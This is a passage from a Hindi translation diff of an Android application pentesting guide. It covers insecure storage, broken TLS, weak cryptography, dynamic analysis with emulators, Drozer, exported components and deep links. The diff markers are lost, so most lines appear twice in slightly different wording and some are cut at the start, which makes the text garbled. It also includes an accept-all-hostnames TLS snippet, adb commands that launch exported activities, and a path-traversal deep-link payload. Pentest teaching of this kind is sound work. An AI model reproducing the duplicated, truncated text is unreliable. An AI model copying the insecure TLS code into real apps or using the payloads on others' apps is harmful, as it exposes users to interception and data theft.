- external storage पर फाइलें सामान्यतः **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी application या उपयोगकर्ता इन फाइलों तक पहुंच सकता है।
2. **Security Concerns**:
- ऐसी सहज पहुँच के कारण, संवेदनशील जानकारी को external storage पर **स्टोर न करने** की सलाह दी जाती है।
- external storage को हटाया जा सकता है या किसी भी application द्वारा access किया जा सकता है, जिससे यह कम सुरक्षित बन जाता है।
- आसान पहुँच को देखते हुए, संवेदनशील जानकारी को external storage पर स्टोर न करने की सलाह दी जाती है।
- External storage हटाया जा सकता है या किसी भी application द्वारा एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित होता है।
3. **Handling Data from External Storage**:
- external storage से प्राप्त डेटा पर हमेशा **input validation** करें। यह महत्वपूर्ण है क्योंकि यह डेटा एक untrusted स्रोत से आता है।
- executables या class files को dynamic loading के लिए external storage पर स्टोर करना कड़ाई से न करने योग्य है।
- यदि आपका application external storage से executable files को retrieve करना ही चाहिए, तो सुनिश्चित करें कि ये फाइलें **signed और cryptographically verified** हों इससे पहले कि उन्हें dynamically load किया जाए। यह कदम आपकी application की security integrity बनाए रखने के लिए आवश्यक है।
- External storage से प्राप्त डेटा पर हमेशा **input validation** करें। यह महत्वपूर्ण है क्योंकि यह डेटा एक untrusted स्रोत से आता है।
- External storage पर executables या class files को dynamic loading के लिए स्टोर करना सख्त रूप से discouraged है।
- यदि आपका application external storage से executable files प्राप्त करता है, तो सुनिश्चित करें कि ये फाइलें dynamically load करने से पहले **signed और cryptographically verified** हों। यह कदम आपके application की सुरक्षा अखंडता बनाए रखने के लिए आवश्यक है।
External storage को `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` में **access** किया जा सकता है
External storage को `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` में एक्सेस किया जा सकता है
> [!TIP]
> Android 4.4 (**API 17**) से शुरू होकर, SD card की directory structure ऐसी है जो **किसी app की उन directories तक ही access सीमित करती है जो विशेष रूप से उस app के लिए हैं**। यह एक malicious application को किसी अन्य app की फाइलों का read या write access प्राप्त करने से रोकता है।
> Android 4.4 (**API 17**) से शुरू होकर, SD card की directory संरचना ऐसी है जो किसी app की पहुँच को उस directory तक सीमित कर देती है जो विशेष रूप से उस app के लिए है। यह किसी malicious application को दूसरे app की फाइलों पर read या write access प्राप्त करने से रोकता है।
**स्पष्ट-पाठ (clear-text) में संग्रहीत संवेदनशील डेटा**
**Sensitive data stored in clear-text**
- **Shared preferences**: Android प्रत्येक application को आसानी से xml फाइलें `/data/data/<packagename>/shared_prefs/` path में save करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-पाठ में संवेदनशील जानकारी मिल सकती है।
- **Databases**: Android प्रत्येक application को आसानी से sqlite databases `/data/data/<packagename>/databases/` path में save करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-पाठ में संवेदनशील जानकारी मिल सकती है।
- **Shared preferences**: Android प्रत्येक application को आसानी से xml फाइलें `/data/data/<packagename>/shared_prefs/` पाथ में सेव करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
- **Databases**: Android प्रत्येक application को आसानी से sqlite databases `/data/data/<packagename>/databases/` पाथ में सेव करने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में clear-text में संवेदनशील जानकारी मिल सकती है।
### Broken TLS
**Accept All Certificates**
ई बार developers किसी कारण से सभी certificates स्वीकार कर लेते हैं भले ही उदाहरण के लिए hostname मेल न खाता हो, ऐसी लाइनों के साथ कोड में जैसे कि निम्नलिखित:
भी-कभी developers किसी कारणवश सभी certificates को accept कर लेते हैं भले ही, उदाहरण के लिए, hostname मेल न खाए — ऐसे lines of code के साथ जैसे निम्नलिखित:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### Broken Cryptography
### टूटी क्रिप्टोग्राफी (Broken Cryptography)
**खराब कुंजी प्रबंधन प्रक्रियाएँ**
**Poor Key Management Processes**
कुछ डेवलपर्स संवेदनशील डेटा को local storage में सेव करते हैं और उसे कोड में hardcoded/predictable key से encrypt कर देते हैं। ऐसा नहीं होना चाहिए क्योंकि कुछ reversing से attackers गोपनीय जानकारी निकाल सकते हैं।
कुछ developers संवेदनशील डेटा को local storage में सेव करते हैं और उसे code में hardcoded/predictable key से encrypt करते हैं। ऐसा नहीं होना चाहिए क्योंकि कुछ reversing से attackers confidential information extract कर सकते हैं।
**असुरक्षित और/या Deprecated Algorithms का उपयोग**
**Use of Insecure and/or Deprecated Algorithms**
Developers को **deprecated algorithms** का उपयोग करके authorisation **checks**, डेटा को **store** या **send** नहीं करना चाहिए। इनमें से कुछ algorithms हैं: RC4, MD4, MD5, SHA1... यदि पासवर्ड स्टोर करने के लिए **hashes** का उपयोग किया जाता है, तो salt के साथ brute-force **resistant** hashes का उपयोग करना चाहिए।
Developers को **deprecated algorithms** का उपयोग authorisation **checks**, डेटा **store** या **send** करने के लिए नहीं करना चाहिए। उन algorithms में कुछ हैं: RC4, MD4, MD5, SHA1... अगर **hashes** का उपयोग पासवर्ड स्टोर करने के लिए किया जा रहा है तो salt के साथ brute-force **resistant** hashes का उपयोग होना चाहिए।
### Other checks
### अन्य जाँचें (Other checks)
- यह सुझाया जाता है कि **APK को obfuscate किया जाए** ताकि attackers के लिए reverse engineer का काम कठिन हो
- यदि ऐप संवेदनशील है (जैसे bank apps), तो उसे अपना **own checks यह देखने के लिए कि मोबाइल rooted है या नहीं** करना चाहिए और उसके अनुसार कार्य करना चाहिए।
- यदि ऐप संवेदनशील है (जैसे bank apps), तो उसे जांचना चाहिए कि क्या **emulator** उपयोग हो रहा है।
- यदि ऐप संवेदनशील है (जैसे bank apps), तो उसे **executing से पहले अपनी integrity जांचनी चाहिए** यह देखने के लिए कि क्या इसे modify किया गया है
- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि किस compiler/packer/obfuscator का उपयोग करके APK बनाया गया था
- यह सुझाव दिया जाता है कि attackers के लिए reverse engineer का काम कठिन करने हेतु **obfuscate the APK** किया जाए
- अगर app संवेदनशील है (जैसे bank apps), तो उसे अपने **own checks to see if the mobile is rooted** करने चाहिए और उसके अनुसार कार्रवाई करनी चाहिए।
- अगर app संवेदनशील है (जैसे bank apps), तो उसे जांचना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है।
- अगर app संवेदनशील है (जैसे bank apps), तो उसे **check it's own integrity before executing** करना चाहिए ताकि पता चल सके कि उसे modify किया गया था या नहीं
- APK को build करने के लिए किस compiler/packer/obfuscator का उपयोग हुआ यह जांचने के लिए [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें
### React Native Application
React applications के javascript code तक आसानी से पहुँचने के लिए निम्नलिखित पृष्ठ पढ़ें:
React applications के javascript code तक आसानी से पहुँचने के बारे में जानने के लिए निम्न पृष्ठ पढ़ें:
{{#ref}}
@ -188,7 +188,7 @@ react-native-application.md
### Xamarin Applications
C# code तक आसानी से पहुँचने के लिए निम्नलिखित पृष्ठ पढ़ें:
एक xamarin applications के C# code तक आसानी से पहुँचने के लिए निम्न पृष्ठ पढ़ें:
{{#ref}}
@ -197,17 +197,17 @@ C# code तक आसानी से पहुँचने के लिए न
### Superpacked Applications
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. ब्लॉग में ऐसी ऐप्स को decompress करने के लिए एक ऐप बनाने की संभावना के बारे में बताया गया है... और एक तेज़ तरीका जो **application को execute करके और filesystem से decompressed files इकट्ठा करने** में शामिल है।
इस [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) के अनुसार superpacked एक Meta algorithm है जो एक application की सामग्री को एक single file में compress कर देता है। ब्लॉग इस बात पर बात करता है कि ऐसे apps को decompress करने वाला एक app बनाना संभव है... और एक तेज़ तरीका जो involve करता है **execute the application and gather the decompressed files from the filesystem.**
### Automated Static Code Analysis
The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. यह टूल एक श्रृंखला के **known sources** (जो टूल को बताते हैं कि वे **places** कहाँ हैं जहाँ **input** **user द्वारा नियंत्रित** होता है), **sinks** (जो टूल को यह सूचित करते हैं कि कौन से **dangerous** **places** हैं जहाँ malicious user input नुकसान पहुंचा सकता है) और **rules** रखता है। ये rules उन **sources-sinks** के **combination** को दर्शाते हैं जो एक vulnerability संकेत करती है
टूल [**mariana-trench**](https://github.com/facebook/mariana-trench) application के **code** को **scanning** करके **vulnerabilities** ढूंढने में सक्षम है। इस टूल में कुछ **known sources** (जो tool को बताती हैं कि वे **places** कहाँ हैं जहाँ **input** **user** द्वारा नियंत्रित है), **sinks** (जो tool को बताती हैं वे **dangerous** **places** जहाँ malicious user input नुकसान कर सकता है) और **rules** शामिल हैं। ये rules उन **sources-sinks** के **combination** को बताते हैं जो vulnerability को इंगित करते हैं
इन जानकारियों के साथ, **mariana-trench कोड की समीक्षा करेगा और उसमें संभावित vulnerabilities खोजेगा।**
इन जानकारियों के साथ, **mariana-trench will review the code and find possible vulnerabilities on it**
### Secrets leaked
An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. आप [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) जैसे टूल का उपयोग कर सकते हैं
एक application के अंदर secrets (API keys, passwords, hidden urls, subdomains...) हो सकते हैं जिन्हें आप खोज सकते हैं। आप ऐसे टूल का उपयोग कर सकते हैं जैसे [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -216,14 +216,14 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
bypass-biometric-authentication-android.md
{{#endref}}
### Other interesting functions
### अन्य दिलचस्प फ़ंक्शंस (Other interesting functions)
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **Other tricks**
### **अन्य ट्रिक्स (Other tricks)**
{{#ref}}
@ -236,45 +236,45 @@ content-protocol.md
## Dynamic Analysis
> सबसे पहले, आपको ऐसा environment चाहिए जहाँ आप application और बाकी environment (मुख्य रूप से Burp CA cert, Drozer और Frida) install कर सकें। इसलिए, एक rooted device (emulated या नहीं) अत्यधिक अनुशंसित है।
> सबसे पहले, आपको एक ऐसा environment चाहिए जहाँ आप application और बाकी environment (Burp CA cert, Drozer और Frida मुख्य रूप से) install कर सकें। इसलिए, एक rooted device (emulated या नहीं) अत्यधिक अनुशंसित है।
### Online Dynamic analysis
आप [https://appetize.io/](https://appetize.io) पर एक **free account** बना सकते हैं। यह प्लेटफ़ॉर्म आपको APKs **upload** और **execute** करने की अनुमति देता है, इसलिए यह देखने के लिए उपयोगी है कि एक apk कैसे व्यवहार कर रहा है।
आप [https://appetize.io/](https://appetize.io/) पर एक **free account** बना सकते हैं। यह platform आपको APKs **upload** और **execute** करने की अनुमति देता है, इसलिए यह यह देखने के लिए उपयोगी है कि apk कैसा व्यवहार कर रहा है।
आप web में अपने application के **logs देख सकते हैं** और **adb** के माध्यम से connect भी कर सकते हैं।
आप web पर अपने application के logs भी **देख** सकते हैं और **adb** के माध्यम से connect कर सकते हैं।
![](<../../images/image (831).png>)
ADB connection के कारण आप emulators के अंदर **Drozer** और **Frida** का उपयोग कर सकते हैं।
ADB connection की बदौलत आप emulators के अंदर **Drozer** और **Frida** का उपयोग कर सकते हैं।
### Local Dynamic Analysis
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (आप **x86** और **arm** devices बना सकते हैं, और [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**के अनुसार latest x86 versions ARM libraries को support करते हैं बिना धीमे arm emulator की ज़रूरत के।)
- इसे सेटअप करना सीखें इस पृष्ठ पर:
- [**Android Studio**](https://developer.android.com/studio) (आप **x86** और **arm** devices बना सकते हैं, और [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** बिना slow arm emulator की आवश्यकता के).
- इसे सेट करने के लिए इस पेज को पढ़ें:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, आपको account बनाना होगा. _यह सुझाव दिया जाता है कि potential errors से बचने के लिए **WITH** _**VirtualBox** वाला version **download** करें._)
- [**Nox**](https://es.bignox.com) (Free, लेकिन यह Frida या Drozer को support नहीं करता).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, आपको account बनाना होगा. _It's recommend to **download** the version **WITH**_ _**VirtualBox** ताकि संभावित errors से बचा जा सके._)
- [**Nox**](https://es.bignox.com) (Free, पर यह Frida या Drozer को सपोर्ट नहीं करता).
> [!TIP]
> किसी भी platform पर नया emulator बनाते समय याद रखें कि स्क्रीन जितनी बड़ी होगी, emulator उतना ही धीमा चलेगा। इसलिए यदि संभव हो तो छोटे स्क्रीन चुनें।
> किसी भी platform पर नया emulator बनाते समय ध्यान रखें कि स्क्रीन जितनी बड़ी होगी, emulator उतना ही धीमा चलेगा। इसलिए संभव हो तो छोटे स्क्रीन चुनें।
Genymotion में **google services** (जैसे AppStore) install करने के लिए आपको निम्न चित्र में लाल चिह्नित बटन पर क्लिक करना होगा:
Genymotion में google services (जैसे AppStore) install करने के लिए आपको निम्न image में लाल चिह्नित बटन पर क्लिक करना होगा:
![](<../../images/image (277).png>)
साथ ही ध्यान दें कि Genymotion में **Android VM की configuration** में आप **Bridge Network mode** चुन सकते हैं (यह उपयोगी होगा यदि आप tools के साथ अलग VM से Android VM से connect कर रहे हों)।
साथ ही, ध्यान दें कि **Genymotion में Android VM की configuration** में आप **Bridge Network mode** चुन सकते हैं (यह उपयोगी होगा यदि आप tools वाले किसी अलग VM से Android VM से connect कर रहे हों)।
#### Use a physical device
आपको **debugging** विकल्प activate करने होंगे और अगर आप इसे **root** कर सक है तो अच्छा होगा:
आपको **debugging** options activate करनी होंगी और अच्छा होगा अगर आप इसे **root** कर सकें:
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
@ -282,55 +282,55 @@ Genymotion में **google services** (जैसे AppStore) install कर
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> एक बार जब आपने application install कर लिया है, तो सबसे पहले आपको इसे आज़माकर देखना चाहिए और जाँच करनी चाहिए कि यह क्या करता है, कैसे काम करता है और इसके साथ सहज होना चाहिए.\
> मैं सुझाव दूंगा कि इस प्रारंभिक डायनेमिक विश्लेषण को MobSF dynamic analysis + pidcat का उपयोग करके करें, ताकि हम यह सीख सकें कि application कैसे काम करता है जबकि MobSF कई सारी **interesting** **data** capture करता है जिन्हें आप बाद में review कर सकते हैं।
> एक बार जब आपने application install कर ली, तो पहली चीज़ जो आपको करनी चाहिए वह है इसे चलाकर देखना, यह जाँचना कि यह क्या करता है, कैसे काम करता है और इसके साथ comfortable होना।\
> मैं सुझाव दूंगा कि इस शुरुआती dynamic analysis को MobSF dynamic analysis + pidcat का उपयोग करके करें, ताकि हम यह सीख सकें कि application कैसे काम करता है जबकि MobSF बहुत सारी **interesting** **data** capture कर रहा है जिन्हें आप बाद में review कर सकते हैं।
### Unintended Data Leakage
**Logging**
डेवलपर्स को सार्वजनिक रूप से **debugging information** उजागर करने में सावधानी बरतनी चाहिए, क्योंकि इससे sensitive data leaks हो सकते हैं। application logs की निगरानी के लिए [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` tools की सिफारिश की जाती है ताकि संवेदनशील जानकारी की पहचान और सुरक्षा की जा सके। **Pidcat** इसके उपयोग में आसानी और पठनीयता के कारण पसंद किया जाता है।
Developers को सार्वजनिक रूप से **debugging information** उजागर करने में सावधान रहना चाहिए, क्योंकि इससे sensitive data leaks हो सकते हैं। application logs मॉनिटर करने के लिए टूल्स [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` की सिफारिश की जाती है ताकि sensitive information की पहचान और सुरक्षा की जा सके। **Pidcat** अपनी उपयोग में आसानता और readability के कारण पसंदीदा है।
> [!WARNING]
> यह ध्यान दें कि **Android 4.0 से नए वर्ज़न में**, **applications केवल अपने ही logs तक पहुँच सकती हैं**। इसलिए applications अन्य apps के logs तक पहुँच नहीं सकतीं।\
> फिर भी, यह सलाह दी जाती है कि **संवेदनशील जानकारी को log न करें**।
> ध्यान दें कि **Android 4.0 से बाद के संस्करणों** में, **applications केवल अपने ही logs को एक्सेस कर पाती हैं**। इसलिए applications अन्य apps के logs को access नहीं कर सकतीं।\
> फिर भी, फिर भी यह अनुशंसित है कि **sensitive information को log न करें**।
**Copy/Paste Buffer Caching**
Android का **clipboard-based** framework apps में copy-paste functionality सक्षम करता है, पर इससे जोखिम होता है क्योंकि **अन्य applications** clipboard तक पहुँच सकती हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। इसलिए credit card details जैसे संवेदनशील हिस्सों के लिए copy/paste functions को disable करना महत्वपूर्ण है ताकि data leaks से बचा जा सके।
Android का **clipboard-based** framework apps में copy-paste functionality सक्षम करता है, फिर भी यह जोखिम पैदा करता है क्योंकि **other applications** clipboard को **access** कर सकती हैं, जिससे sensitive data उजागर होने की संभावना रहती है। इसलिए credit card details जैसी संवेदनशील sections के लिए copy/paste functions को disable करना महत्वपूर्ण है ताकि data leaks से बचा जा सके।
**Crash Logs**
यदि कोई application **crashes** और **logs save** करता है, तो ये logs attackers की मदद कर सकते हैं, विशेषकर जब application reverse-engineer नहीं किया जा सकता। इस जोखिम को कम करने के लिए, crashes पर logging से बचें, और यदि logs को network पर भेजना आवश्यक है, तो सुनिश्चित करें कि वे सुरक्षा के लिए SSL चैनल के माध्यम से भेजे जाएं।
यदि कोई application **crash** होता है और logs **save** करता है, तो ये logs attackers की मदद कर सकते हैं, विशेषकर तब जब application reverse-engineer नहीं की जा सकती। इस जोखिम को कम करने के लिए, crashes पर log न करें, और यदि logs को नेटवर्क पर भेजना आवश्यक है तो सुनिश्चित करें कि वे SSL channel के माध्यम से भेजे जा रहे हों।
As pentester, **इन logs को देखने की कोशिश करें**।
As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
Applications अक्सर Google Adsense जैसे services को integrate करती हैं, जो developers की गलत implementation के कारण अनजाने में **sensitive data leak** कर सकती हैं। संभावित data leaks की पहचान के लिए, यह सलाह दी जाती है कि आप **application के traffic को intercept करें** और जांचें कि किसी भी संवेदनशील जानकारी को third-party services को भेजा तो नहीं जा रहा
Applications अक्सर Google Adsense जैसी services integrate करते हैं, जो developers के improper implementation के कारण अनजाने में **leak sensitive data** कर सकती हैं। संभावित data leaks पहचानने के लिए, application के traffic को intercept करना और यह जांचना सलाहप्रद है कि कोई sensitive information third-party services को तो नहीं भेजी जा रही है
### SQLite DBs
़्यादातर applications जानकारी सहेजने के लिए **internal SQLite databases** का उपयोग करते हैं। pentest के दौरान बनाए गए **databases**, उनके **tables** और **columns** के नाम और सहेजे गए सभी **data** को देखें क्योंकि आप वहाँ **sensitive information** पा सकते हैं (जो एक vulnerability होगी).\
Databases आमतौर पर `/data/data/the.package.name/databases` में होते हैं जैसे `/data/data/com.mwr.example.sieve/databases`
्यादातर applications internal SQLite databases का उपयोग जानकारी save करने के लिए करती हैं। pentest के दौरान बनाए गए **databases**, **tables** और **columns** के नामों और saved **data** को जरूर देखें क्योंकि आपको वहाँ **sensitive information** मिल सकती है (जो एक vulnerability होगी).\
Databases आमतौर पर `/data/data/the.package.name/databases` में स्थित होते हैं जैसे `/data/data/com.mwr.example.sieve/databases`
यदि database confidential जानकारी सहेज रहा है और **encrypted** है पर आप application के अंदर password ढूँढ सकते हैं तो यह अभी भी एक **vulnerability** है।
यदि database confidential information save कर रहा है और वह **encrypted** है पर आप application के अंदर **password** **find** कर सकते हैं तो यह फिर भी एक **vulnerability** है।
.tables का उपयोग करके tables को enumerate करें और `.schema <table_name>` करके tables के columns को enumerate करें।
.tables का उपयोग करके tables enumerate करें और `.schema <table_name>` करके tables के columns enumerate करें।
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** आपको **एक Android app की भूमिका अपनाने** और अन्य apps के साथ interact करने की अनुमति देता है। यह **वह सब कुछ कर सकता है जो एक installed application कर सकता है**, जैसे Android की Inter-Process Communication (IPC) mechanism का उपयोग करना और underlying operating system के साथ interact करना.\
Drozer एक उपयोगी tool है **exported activities, exported services और Content Providers को exploit करने के लिए** जैसा कि आप निम्नलिखित sections में सीखेंगे।
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** आपको एक Android app की भूमिका assume करने और other apps के साथ interact करने की अनुमति देता है। यह **anything that an installed application can do** कर सकता है, जैसे Androids Inter-Process Communication (IPC) mechanism का उपयोग करना और underlying operating system के साथ interact करना.\
Drozer एक उपयोगी टूल है ताकि आप **exploit exported activities, exported services and Content Providers** कर सकें जैसा कि आप निम्न sections में सीखेंगे।
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
साथ ही याद रखें कि activity का code **`onCreate`** method में शुरू होता है।
यह भी याद रखें कि किसी activity का code **`onCreate`** method में शुरू होता है।
**Authorisation bypass**
जब कोई Activity exported होती है तो आप external app से उसका स्क्रीन invoke कर सकते हैं। इसलिए, यदि कोई activity जिसमें **sensitive information** है **exported** है तो आप उसे access करने के लिए authentication mechanisms को **bypass** कर सकते हैं।
जब कोई Activity exported होती है आप उसे किसी external app से invoke कर सकते हैं। इसलिए, यदि कोई activity जिसमें **sensitive information** है वह **exported** है तो आप authentication mechanisms को **bypass** करके उससे access प्राप्त कर सकते हैं।
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
@ -341,23 +341,23 @@ Drozer एक उपयोगी tool है **exported activities, exported ser
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF किसी activity में `android:launchMode` के रूप में _**singleTask/singleInstance**_ के उपयोग को malicious के रूप में पहचानता है, लेकिन [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, जाहिरा तौर पर यह केवल पुराने संस्करणों (API versions < 21) में खतरन है
**नोट**: MobSF किसी activity में `android:launchMode` के रूप में _**singleTask/singleInstance**_ के उपयोग को हानिकारक के रूप में पहचानता है, लेकिन [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, ऐसा प्रतीत होता है कि यह केवल पुराने वर्ज़न (API versions < 21) पर खतरन है
> [!TIP]
> ध्यान दें कि एक authorisation bypass हमेशा एक vulnerability नहीं होती — यह इस पर निर्भर करेगा कि bypass कैसे काम करता है और कौन-सी जानकारी प्रकट होती है।
> ध्यान दें कि an authorisation bypass हमेशा vulnerability नहीं होता — यह इस पर निर्भर करेगा कि bypass कैसे काम करता है और कौन-सी जानकारी उजागर होती है।
**Sensitive information leakage**
Activities भी results वापस कर सकती हैं। अगर आप कोई exported और unprotected activity ढूंढ लेते हैं जो **`setResult`** method कॉल कर रही है और **returning sensitive information** कर रही है, तो यह एक sensitive information leakage है।
**Activities can also return results**. यदि आप किसी exported और unprotected activity को खोज लेते हैं जो **`setResult`** method को कॉल कर रही हो और संवेदनशील जानकारी return कर रही हो, तो यह sensitive information leakage है।
#### Tapjacking
अगर tapjacking रोका नहीं गया है, तो आप exported activity का दुरुपयोग करके **user को अनपेक्षित कार्य करवाने** के लिए मजबूर कर सकते हैं। Tapjacking के बारे में अधिक जानकारी के लिए [**what is Tapjacking follow the link**](#tapjacking) देखें
यदि Tapjacking रोका नहीं गया है, तो आप exported activity का दुरुपयोग करके user को अनपेक्षित actions करने के लिए मजबूर कर सकते हैं। अधिक जानकारी के लिए [**Tapjacking क्या है — लिंक फॉलो करें**](#tapjacking)
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers मूलतः **data share** करने के लिए उपयोग किए जाते हैं। अगर किसी app के पास उपलब्ध content providers हैं तो आप उनसे **sensitive** डेटा **extract** कर पाने में सक्षम हो सकते हैं। यह भी ज़रूरी है कि संभावित **SQL injections** और **Path Traversals** का टेस्ट किया जाए क्योंकि वे vulnerable हो सकते हैं।
Content providers मूलतः डेटा **share** करने के लिए इस्तेमाल होते हैं। यदि किसी app के पास content providers उपलब्ध हैं तो आप उनसे संवेदनशील डेटा **extract** कर सकते हैं। साथ ही संभावित **SQL injections** और **Path Traversals** की जांच करना दिलचस्प होता है क्योंकि वे vulnerable हो सकते हैं।
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
@ -366,7 +366,7 @@ Content providers मूलतः **data share** करने के लिए
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
याद रखें कि Service के actions method `onStartCommand` में शुरू होते हैं।
Service मूलतः कुछ ऐसा होता है जो **डेटा प्राप्त कर सकता है**, उसे **process** करता है और (या नहीं) एक response **returns** करता है। इसलिए, यदि कोई application कुछ services export कर रहा है तो आपको उसका **code** चेक कर के समझना चाहिए कि यह क्या कर रहा है और उसे **dynamically** टेस्ट करके confidential जानकारी निकालने, authentication measures को bypass करने आदि का प्रयास करना चाहिए।\
Service मूलतः कुछ ऐसा होता है जो डेटा **receive** कर सकता है, उसे **process** करता है और (या नहीं) एक response **returns** करता है। इसलिए, यदि कोई application कुछ services export कर रहा है तो आपको **code** को **check** करना चाहिए कि वह क्या कर रहा है और उसे **dynamically** **test** करना चाहिए ताकि confidential info extract की जा सके, authentication measures को bypass किया जा सके...\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
@ -374,72 +374,72 @@ Service मूलतः कुछ ऐसा होता है जो **डे
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
याद रखें कि Broadcast Receiver के actions method `onReceive` में शुरू होते हैं।
एक broadcast receiver किसी प्रकार के message की प्रतीक्षा करेगा। यह इस पर निर्भर करता है कि receiver संदेश को कैसे handle करता है — यह vulnerable हो सकता है।\
A broadcast receiver किसी प्रकार के message के लिए waiting रहेगी। यह निर्भर करता है कि receiver message को कैसे handle करता है — इसके कारण यह vulnerable हो सकती है।\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
आप deep links को मैन्युअली खोज सकते हैं, MobSF जैसे tools या scripts जैसे [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
आप घोषित किए गए **scheme** को **adb** या किसी **browser** का उपयोग करके **open** कर सकते हैं:
आप deep links मैन्युअली ढूँढ सकते हैं, MobSF जैसे tools या [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) जैसी scripts का उपयोग करके।\
आप घोषित किए गए किसी **scheme** को **adb** या किसी **browser** का उपयोग करके **open** कर सकते हैं:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_ध्यान दें कि आप **omit the package name** छोड़ सकते हैं और मोबाइल स्वचालित रूप से उस app को कॉल करेगा जो उस link को खोलना चाहिए._
_ध्यान दें कि आप **package name छोड़ सकते हैं** और मोबाइल स्वतः उस app को कॉल करेगा जो उस लिंक को खोलना चाहिए._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**Code executed**
**कोड निष्पादित**
In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
ऐप में निष्पादित होने वाले **कोड को खोजने के लिए**, उस activity पर जाएँ जिसे deeplink कॉल करता है और function **`onNewIntent`** खोजें।
![](<../../images/image (436) (1) (1) (1).png>)
**Sensitive info**
**संवेदनशील जानकारी**
हर बार जब आप किसी deep link को पाते हैं तो जाँच करें कि क्या यह **URL parameters के माध्यम से संवेदनशील डेटा (जैसे passwords) प्राप्त नहीं कर रहा है**, क्योंकि कोई भी अन्य application उस deep link का impersonate कर सकता है और वह डेटा चरीद सकता/चुरा सकता है!
हर बार जब आप कोई deep link पाते हैं, तो जाँच करें कि यह **URL parameters के माध्यम से संवेदनशील डेटा (जैसे passwords) प्राप्त तो नहीं कर रहा है**, क्योंकि कोई भी अन्य application **deep link की impersonate करके वह डेटा चुरा सकता है!**
**Parameters in path**
**पाथ में पैरामीटर्स**
आपको यह भी ज़रूर जाँचना चाहिए कि क्या कोई deep link URL के path के अंदर किसी parameter का उपयोग कर रहा है जैसे: `https://api.example.com/v1/users/{username}` , ऐसे मामलों में आप path traversal को फोर्स कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
